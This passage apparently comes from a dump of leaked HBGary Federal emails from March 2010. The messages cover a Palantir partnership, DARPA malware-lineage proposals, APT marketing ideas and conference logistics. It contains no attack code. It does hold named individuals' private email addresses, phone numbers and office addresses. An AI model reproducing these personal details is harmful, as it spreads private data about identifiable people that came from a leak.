&lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe\r\nkeep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber\r\ndeployments.&nbsp; Im wondering if you still have any connections there and\r\nmight set up a short briefing for us.&nbsp; Federal leadership is obviously\r\npreferred, but any foot in the door would be appreciated.&nbsp; We would\r\noutline our progress to date with our major cyber customers and give them a\r\nquick capabilities brief.&nbsp; We&#8217;d obviously mention our HBGary connections\r\nas well.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLet\r\nme know what you think.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11687,'aaron_hbgary_com/11687.html'),(4410,'2010-03-23','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297002505.M675232P3547Q4410.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','The Biggest Cloud Providers Are Botnets','I never thought of botnets in these terms or scale.The Biggest Cloud Providers Are BotnetsJulie188 writes \"Google is made up of 500,000 systems, 1 million CPUs and 1,500 gigabits per second (Gbps) of bandwidth, according to cloud service provider Neustar. Amazon comes in second with 160,000 systems, 320,000 CPUs and 400 Gbps of bandwidth, while Rackspace offers 65,000 systems, 130,000 CPUs and 300 Gbps. But these clouds are dwarfed by the likes of the really big cloud services, otherwise known as botnets. Conficker controls 6.4 million computer systems in 230 countries, with more than 18 million CPUs and 28 terabits per second of bandwidth.\"\r\n   \r\n      Read more of this story at Slashdot.\r\n\r\nFrom my iPhone',12079,'aaron_hbgary_com/12079.html'),(4411,'2010-03-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002505.M900150P3547Q4411.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Phil\" <phil@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','RE: The Biggest Cloud Providers Are Botnets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow. That is awesome.  I like looking at it from that\r\nperspective… \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:adbarr@mac.com] \r\nSent: Tuesday, March 23, 2010 6:31 PM\r\nTo: Ted Vera; Greg Hoglund; Rich Cummings; Phil\r\nCc: Aaron Barr\r\nSubject: The Biggest Cloud Providers Are Botnets\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nI never thought of botnets in these terms or scale.\r\n\r\nThe\r\nBiggest Cloud Providers Are Botnets\r\nJulie188 writes &quot;Google is made up of 500,000 systems, 1 million CPUs and\r\n1,500 gigabits per second (Gbps) of bandwidth, according to cloud service\r\nprovider Neustar. Amazon comes in second with 160,000 systems, 320,000 CPUs and\r\n400 Gbps of bandwidth, while Rackspace offers 65,000 systems, 130,000 CPUs and\r\n300 Gbps. But these clouds are dwarfed by the likes of the really big cloud\r\nservices, otherwise known as botnets. Conficker controls 6.4 million computer\r\nsystems in 230 countries, with more than 18 million CPUs and 28 terabits per\r\nsecond of bandwidth.&quot;\r\n\r\n\r\n\r\nRead\r\nmore of this story at Slashdot.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16704,'aaron_hbgary_com/16704.html'),(4412,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002507.M186466P3547Q4412.eml','\"Ted Vera\" <ted@hbgary.com>','ppt slides','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5339,'aaron_hbgary_com/5339.html'),(4413,'2010-03-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297002507.M432442P3547Q4413.eml','\"Aaron Barr\" <aaron@hbgary.com>','Just a reminder','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNeed the information for the show In April.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9051,'aaron_hbgary_com/9051.html'),(4414,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002508.M240128P3547Q4414.eml','\"Aaron Barr\" <aaron@hbgary.com>','CyberSecurity Continuum','Attached.\r\n',5343,'aaron_hbgary_com/5343.html'),(4415,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002508.M624806P3547Q4415.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: JTF-GNO','Thanks Matt.I will have more time once the DARPA proposal is in on Monday. &nbsp;Right now my brain is full with Cyber Genome.Tim. &nbsp;What should I do about our booth? &nbsp;Right now it is in DC and we can keep it here and have it shipped to your location.AaronOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:Excellent on JTF.&nbsp;In terms of booth stuff, Ive CCed Tim…..he’ll know best.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 23, 2010 5:23 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: JTF-GNO&nbsp;Hey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf would be am interesting deployment. &nbsp;I think I may have let a few government contacts. &nbsp;Certainly have some NG contacts I could reach out to.&nbsp;What address should I give the cpany for our booth? &nbsp;Or do u supply booths?&nbsp;How does all that work?&nbsp;AaronFrom my iPhoneOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:Aaron,&nbsp;We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.&nbsp; Im wondering if you still have any connections there and might set up a short briefing for us.&nbsp; Federal leadership is obviously preferred, but any foot in the door would be appreciated.&nbsp; We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.&nbsp; We’d obviously mention our HBGary connections as well.&nbsp;&nbsp;Let me know what you think.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5170,'aaron_hbgary_com/5170.html'),(4416,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002510.M757210P3547Q4416.eml','\"Aaron Barr\" <aaron@hbgary.com>','Slide','Is this the latest?\r\n\r\n',13236,'aaron_hbgary_com/13236.html'),(4417,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002515.M618706P3547Q4417.eml','\"Barr Aaron\" <aaron@hbgary.com>','Slide Updated','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2478,'aaron_hbgary_com/2478.html'),(4418,'2010-03-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002516.M100697P3547Q4418.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: TA#1 Exec Summary','\r\n\r\n\r\n\r\n\r\nFW: TA#1 Exec Summary\r\n\r\n\r\n\r\n\r\nAaron, Ted\r\n\r\nWe are adding something like this to the front of TA#1:\r\n\r\n\r\n\r\nExecutive Summary\r\n\r\nGenerating correlations of source code within malware has been so far limited to manual examination or crude matching algorithms.&nbsp; Lineage of malware has not yet been achieved, except in identifying closely related variances, and even this is still a largely manual process.&nbsp; Automated approaches to obtaining lineage and correlation of malware have either focused on the program as a whole (file hashing, file fuzzy hashing), individual sections (section hashing, section function hashing, statistical correlation), or simple signatures (&#8220;antivirus&#8221; signatures, predictive algorithms).&nbsp; They have largely ignored what creates software correlation in the first place, namely code reuse.\r\n\r\nOur approach is to create complex genomes of software by capturing code that has been reused in programs, specifically malicious programs.&nbsp; We will capture code reuse by generating full program genomes based upon combining data gathered through analysis of all of its individual functions and corresponding control flow.&nbsp; We will explore multiple methods, linear execution, and full execution to obtain functions from programs.&nbsp; Research into statistical and informational correlation algorithms suitable to this approach, to include those used in traditional biological applications will provide the means for function correlation.&nbsp; \r\n\r\nTo achieve lineage from correlation, large amounts of malware will need to be processed.&nbsp; Such large amounts of data imply automation; therefore, research into automation of de-obfuscation, function extraction, normalization, and other obstacles to the large scale extraction of functions from executables will be included in the project.&nbsp; Tying it all together will be an interface that will allow an operator to understand the complex interrelationships that spawn from frequent code reuse in the malware industry.\r\n\r\nThe end result will produce revolutionary methods to view and explore code reuse in malware.&nbsp; True cyber lineage on this scale has never before seen within the malware analysis and cyber intelligence arenas.&nbsp; Generation of cyber lineage trees will produce information useful to law enforcement, intelligence, and cyber security agencies and professionals.\r\n\r\n\r\n\r\n\r\n',34,'aaron_hbgary_com/34.html'),(4419,'2010-03-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002516.M285963P3547Q4419.eml','\"Barr Aaron\" <aaron@hbgary.com>','Statesman.com : In \'Second Life,\' the economy is on a roll','http://m.statesman.com/statesman/pm_23035/contentdetail.htm;jsessionid=C1A97BAC33A8D029074C89677CE66AB6?contentguid=aMGfUj41\r\n\r\n\r\n\r\n',14439,'aaron_hbgary_com/14439.html'),(4420,'2010-03-24','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002516.M763484P3547Q4420.eml','\"Aaron Barr\" <aaron@hbgary.com>','Mandiant GSA announcment...','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGuessing you saw this, but sending just in case.&nbsp; http://www.mandiant.com/news_events/article/mandiant_awarded_general_services_administration_gsa_it_schedule_70_contrac/\r\n\r\n&nbsp;\r\n\r\nI ran into Maria and FOSE and has some good chats about DHS\r\nand USDA.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12140,'aaron_hbgary_com/12140.html'),(4421,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002516.M990217P3547Q4421.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Mandiant GSA announcment...','From my iPhoneBegin forwarded message:From: &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;\r\nDate: March 23, 2010 10:39:13 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Mandiant GSA announcment...\r\n\r\n\r\n\r\n\r\nGuessing you saw this, but sending just in case.  http://www.mandiant.com/news_events/article/mandiant_awarded_general_services_administration_gsa_it_schedule_70_contrac/\r\n\r\n\r\n \r\n\r\nI ran into Maria and FOSE and has some good chats about DHS\r\nand USDA.  \r\n\r\n \r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12147,'aaron_hbgary_com/12147.html'),(4422,'2010-03-24','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297002519.M789932P3547Q4422.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Irby Thompson\" <irby@pikewerks.com>','Re: TA3 Proposal','Aaron,\r\n\r\nI\'m not done commenting on this doc, but I wanted to go ahead get you\r\nwhat I had.  I think Irby will also have some comments and inputs.\r\n\r\nThanks\r\n-- Adam\r\n\r\n\r\n\r\nOn 3/22/10 11:10 PM, Aaron Barr wrote:\r\n> All,\r\n> \r\n> Please review the TA3 proposal for content.  Pay close attention to the following tables first and add content as needed:\r\n> 1. Innovative Claims\r\n> 2. Deliverables\r\n> 3. Intellectual Property\r\n> 4. Organizational Chart\r\n> 5. Previous Accomplishments\r\n> 6. Description of Facilities\r\n> \r\n> Then review the document overall for content.  The majority of the document is ready for pink team review with the exception of III.C, III.D, III.E.  I am working on those now.\r\n> \r\n> All Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is working on right now.\r\n> \r\n> I need your sealed envelops Thursday.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',880,'aaron_hbgary_com/880.html'),(4423,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002520.M123384P3547Q4423.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>','Re: TA3 Proposal','Thanks Adam.\r\n\r\n From my iPhone\r\n\r\nOn Mar 23, 2010, at 11:04 PM, Adam Fraser \r\nwrote:\r\n\r\n> Aaron,\r\n>\r\n> I\'m not done commenting on this doc, but I wanted to go ahead get you\r\n> what I had.  I think Irby will also have some comments and inputs.\r\n>\r\n> Thanks\r\n> -- Adam\r\n>\r\n>\r\n>\r\n> On 3/22/10 11:10 PM, Aaron Barr wrote:\r\n>> All,\r\n>>\r\n>> Please review the TA3 proposal for content.  Pay close attention to\r\n>> the following tables first and add content as needed:\r\n>> 1. Innovative Claims\r\n>> 2. Deliverables\r\n>> 3. Intellectual Property\r\n>> 4. Organizational Chart\r\n>> 5. Previous Accomplishments\r\n>> 6. Description of Facilities\r\n>>\r\n>> Then review the document overall for content.  The majority of the\r\n>> document is ready for pink team review with the exception of III.C,\r\n>> III.D, III.E.  I am working on those now.\r\n>>\r\n>> All Cost, Schedule and Milestones data (includes SOW and BOEs) Ted\r\n>> is working on right now.\r\n>>\r\n>> I need your sealed envelops Thursday.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n> \r\n',5130,'aaron_hbgary_com/5130.html'),(4424,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002520.M318814P3547Q4424.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Mandiant GSA announcment...','Another item on our todo list. &nbsp;How do we get on this?Begin forwarded message:From: \"Etue, David\" &lt;david.etue@fidelissecurity.com&gt;Date: March 23, 2010 10:39:13 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Mandiant GSA announcment...Guessing you saw this, but sending just in case.&nbsp;http://www.mandiant.com/news_events/article/mandiant_awarded_general_services_administration_gsa_it_schedule_70_contrac/&nbsp;I ran into Maria and FOSE and has some good chats about DHS and USDA.&nbsp;&nbsp;David\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10329,'aaron_hbgary_com/10329.html'),(4425,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002520.M618045P3547Q4425.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Data','Chris,\r\n\r\nCan you send me in word form the previous accomplishments and resumes?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7192,'aaron_hbgary_com/7192.html'),(4426,'2010-03-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002521.M378521P3547Q4427.eml','aaron@hbgary.com','Re: Data','\r\n\r\n\r\n\r\n\r\nRe: Data\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWill do.&nbsp; I will send this before Noon.\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Wed Mar 24 00:29:50 2010\r\nSubject: Data\r\n\r\nChris,\r\n\r\nCan you send me in word form the previous accomplishments and resumes?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3683,'aaron_hbgary_com/3683.html'),(4427,'2010-03-24','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002521.M44090P3547Q4426.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,aaron@hbgary.com','Some marketing ideas for APT',' \r\nTeam,\r\nThis is based on a discussion I had with Penny tonight.  Here are some ideas for APT marketing:\r\n \r\n\r\n \r\nNew whitepaper: \r\nTargeted cyber threats to the Oil Industry - specific targeted malware - whitepaper.\r\n \r\nPodcast:\r\nThe truth behind APT: What is APT?  What has it become? (podcast) (Air Force) - waiting on Karen for more podcast ideas.\r\n\r\n \r\nThe ticker for the website to be called: \r\nRealtime APT feed\r\nHBGary performs automated forensics over thousands of malware samples per hour, recovering Digital DNA toolmarks, geolocation data, and control protocols.  This information is linked against a database of threat actors and malware developer tool chains, identifying organizational factors behind the threat.  This information is streamed live over the Real-time APT feed.  Subscribe your Enterprise and receive daily actionable intelligence, including installation registry paths, file fuzzy hashes, Digital DNA Sequences, and communications protocol IDS signatures.\r\n\r\n \r\nNew flash panel: \r\nAdvanced Malware and Persistent Threats (panel on the website flash)\r\npotential subtext: Until you focus on the human factors you cannot address advanced malware.\r\npotential subtext: Focus on the human behind the malware.  Get ahead.\r\n \r\n-Greg \r\n',14434,'aaron_hbgary_com/14434.html'),(4428,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002521.M594815P3547Q4428.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Mandiant GSA announcment...','Here&#39;s how:http://www.gsa.gov/Portal/gsa/ep/contentView.do?contentType=GSA_OVERVIEW&amp;contentId=8202\r\nOn Mar 23, 2010, at 10:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Another item on our todo list.  How do we get on this?\r\nBegin forwarded message:From: &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;\r\nDate: March 23, 2010 10:39:13 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Mandiant GSA announcment...\r\n\r\nGuessing you saw this, but sending just in case. http://www.mandiant.com/news_events/article/mandiant_awarded_general_services_administration_gsa_it_schedule_70_contrac/\r\n \r\nI ran into Maria and FOSE and has some good chats about DHS and USDA.  \r\nDavid\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11806,'aaron_hbgary_com/11806.html'),(4429,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002521.M921082P3547Q4429.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Some marketing ideas for APT','Greg,Some thoughts.On Podcast. &nbsp;I think this is a good idea. &nbsp;Suggestion is that we do this regularly. &nbsp;Maybe a format could be interview someone different each time. &nbsp;1st half discuss that person and their position, responsibility, organization. &nbsp;The 2nd half is a 1 on 1 discussion with the \"expert\" on the issues of the day. &nbsp;There is nothing like this for cyber. &nbsp;I think could be popular.On APT. &nbsp;Man this phrase is really starting to bug me, but its popular so have to deal with it as it is. &nbsp;As I was talking to Penny about earlier, and you well know, APT is not about advanced malware but advanced threats. &nbsp;Those threats could use old tactics, they use them because they are reliable, provide results, and are already baked into their large organizations with process, etc. &nbsp;APT is about intent and effectiveness the vehicle is irrelevant (exaggerated). &nbsp;Cyber has now been weaponized, but its a weapon that is affordable and accessible by everyone. &nbsp;Criminals, Corporate Espionage, Terrorists, Employee with a grudge, etc. &nbsp;APT is the name for the new cyber threat environment, conficker, Zeus, Agent.BTZ, Aurora, etc. &nbsp;Its all confusing and blending together. &nbsp;Currently I think the product companies are redefining it to whatever will sell product.On Mar 24, 2010, at 12:39 AM, Greg Hoglund wrote:&nbsp;\r\nTeam,\r\nThis is based on a discussion I had with Penny tonight.&nbsp; Here are some ideas for APT marketing:\r\n&nbsp;\r\n&nbsp;New whitepaper: Targeted cyber threats to the Oil Industry - specific targeted malware - whitepaper.&nbsp;Podcast:The truth behind APT: What is APT?&nbsp; What has it become? (podcast) (Air Force) - waiting on Karen for more podcast ideas.&nbsp;The ticker for the website to be called: Realtime APT feedHBGary performs automated forensics over thousands of malware samples per hour, recovering Digital DNA toolmarks, geolocation data, and control protocols.&nbsp; This information is linked against a database of threat actors and malware developer tool chains, identifying organizational factors behind the threat.&nbsp; This information is streamed live over the Real-time APT feed.&nbsp; Subscribe your Enterprise and receive daily actionable intelligence, including installation registry paths, file fuzzy hashes, Digital DNA Sequences, and communications protocol IDS signatures.&nbsp;New flash panel:&nbsp;Advanced Malware and Persistent Threats (panel on the website flash)potential subtext: Until you focus on the human factors you cannot address advanced malware.potential subtext: Focus on the human behind the malware.&nbsp; Get ahead.&nbsp;-Greg&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10894,'aaron_hbgary_com/10894.html'),(4430,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002522.M125824P3547Q4430.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Some marketing ideas for APT','Maybe there is a new term that describes the new threat environment.  Something about continuous, evolved, share resources, more malicious intent... I don&#39;t know it&#39;s early. \r\nFrom my iPhoneOn Mar 24, 2010, at 12:39 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote: \r\nTeam,\r\nThis is based on a discussion I had with Penny tonight.  Here are some ideas for APT marketing:\r\n \r\n\r\n \r\nNew whitepaper: \r\nTargeted cyber threats to the Oil Industry - specific targeted malware - whitepaper.\r\n \r\nPodcast:\r\nThe truth behind APT: What is APT?  What has it become? (podcast) (Air Force) - waiting on Karen for more podcast ideas.\r\n\r\n\r\n \r\nThe ticker for the website to be called: \r\nRealtime APT feed\r\nHBGary performs automated forensics over thousands of malware samples per hour, recovering Digital DNA toolmarks, geolocation data, and control protocols.  This information is linked against a database of threat actors and malware developer tool chains, identifying organizational factors behind the threat.  This information is streamed live over the Real-time APT feed.  Subscribe your Enterprise and receive daily actionable intelligence, including installation registry paths, file fuzzy hashes, Digital DNA Sequences, and communications protocol IDS signatures.\r\n\r\n\r\n \r\nNew flash panel: \r\nAdvanced Malware and Persistent Threats (panel on the website flash)\r\npotential subtext: Until you focus on the human factors you cannot address advanced malware.\r\npotential subtext: Focus on the human behind the malware.  Get ahead.\r\n \r\n-Greg \r\n\r\n',12703,'aaron_hbgary_com/12703.html'),(4431,'2010-03-24','\"Kenny Prole\" <KennyP@avi.com>','/aaron@hbgary.com/new/1297002523.M491014P3547Q4431.eml','aaron@hbgary.com,arasita@mac.com,aaron@hbgary.com,arasita@mac.com,','TA3 Secure Decisions RFP Clarification','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIn reviewing the RFP/SOW you sent (also attached), I noticed\r\nthere&#8217;s a gap from month 30-35 and no description for months 36-48. Was\r\nthat your intent?\r\n\r\n&nbsp;\r\n\r\nPlease review the current and proposed tasks below if indeed\r\nit was just oversight. \r\n\r\n&nbsp;\r\n\r\nCurrent:\r\n\r\n\r\n \r\n  \r\n   \r\n   Date\r\n   \r\n   \r\n   Effort\r\n   \r\n  \r\n \r\n \r\n  \r\n  Months 1-6\r\n  \r\n  \r\n  Define visualization requirements for the analysis of malware\r\n  functionality and behaviors.\r\n  \r\n \r\n \r\n  \r\n  Months 7-8\r\n  \r\n  \r\n  Describe and document an architecture that visualizes malware\r\n  functionality and behaviors\r\n  \r\n \r\n \r\n  \r\n  Months 9-15\r\n  \r\n  \r\n  Develop visualization prototypes to assist in the analysis of malware\r\n  functionality and behaviors.\r\n  \r\n \r\n \r\n  \r\n  Months 15-24\r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete visualization\r\n  prototypes\r\n  \r\n \r\n \r\n  \r\n  Months 25-27\r\n  \r\n  \r\n  Define requirements for the visualization of aggregate malware\r\n  functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues.\r\n  \r\n \r\n \r\n  \r\n  Months 28-29\r\n  \r\n  \r\n  Describe and document an architecture that visualizes aggregate malware\r\n  functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues.\r\n  \r\n \r\n \r\n  \r\n  Months 36-48\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nProposed:\r\n\r\n\r\n \r\n  \r\n   \r\n   Date\r\n   \r\n   \r\n   Effort\r\n   \r\n  \r\n \r\n \r\n  \r\n  Months 1-6\r\n  \r\n  \r\n  Define visualization requirements for the analysis of malware functionality\r\n  and behaviors.\r\n  \r\n \r\n \r\n  \r\n  Months 7-8\r\n  \r\n  \r\n  Describe and document an architecture that visualizes malware\r\n  functionality and behaviors\r\n  \r\n \r\n \r\n  \r\n  Months 9-15\r\n  \r\n  \r\n  Develop visualization prototypes to assist in the analysis of malware\r\n  functionality and behaviors.\r\n  \r\n \r\n \r\n  \r\n  Months 15-24\r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete visualization\r\n  prototypes\r\n  \r\n \r\n \r\n  \r\n  Months 25-27\r\n  \r\n  \r\n  Define requirements for the visualization of aggregate malware\r\n  functionality and behaviors (fingerprinting and auto-discovery of characteristics\r\n  through visual cues).\r\n  \r\n \r\n \r\n  \r\n  Months 28-29\r\n  \r\n  \r\n  Describe and document an architecture that visualizes aggregate\r\n  malware functionality and behaviors (fingerprinting and auto-discovery of\r\n  characteristics through visual cues).\r\n  \r\n \r\n \r\n  \r\n  Months 30-36\r\n  \r\n  \r\n  Develop visualization prototype to assist in the analysis of\r\n  aggregate malware functionality and behaviors (fingerprinting and\r\n  auto-discovery of characteristics through visual cues).\r\n  \r\n \r\n \r\n  \r\n  Months 36-48\r\n  \r\n  \r\n  Integrate and demonstrate progressively more complete visualization\r\n  prototypes\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nWe&#8217;ll need this confirmation to finalize our costing. \r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n---------------------------------------------------------------------\r\n\r\nKen\r\nProle ~ Project Engineer\r\nApplied Visions, Inc., Secure Decisions Division\r\n631.759.3907 ~ securedecisions.avi.com\r\n\r\n----------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6928,'aaron_hbgary_com/6928.html'),(4432,'2010-03-24','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297002524.M607248P3547Q4432.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nIf it would be easiest to store local in DC prior to the\r\nconference, you are welcome to send it to our Tysons office.&nbsp; Alternatively,\r\nthe Ritz-Carlton will be prepared to start receiving partner equipment on\r\nMonday, 4/5.\r\n\r\n&nbsp;\r\n\r\nOur office mailing address is:\r\n\r\n1660 International Dr., Suite 800\r\n\r\nMcLean, VA 22102\r\n\r\n&nbsp;\r\n\r\nLet me know if you decide to mail it here so I can keep an eye\r\nout for it.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\nPS. Also attached the conference partner guide for your reference.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 9:03 PM\r\nTo: Matthew Steckman\r\nCc: Timothy Ronan\r\nSubject: Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will have more time once the DARPA proposal is in on\r\nMonday. &nbsp;Right now my brain is full with Cyber 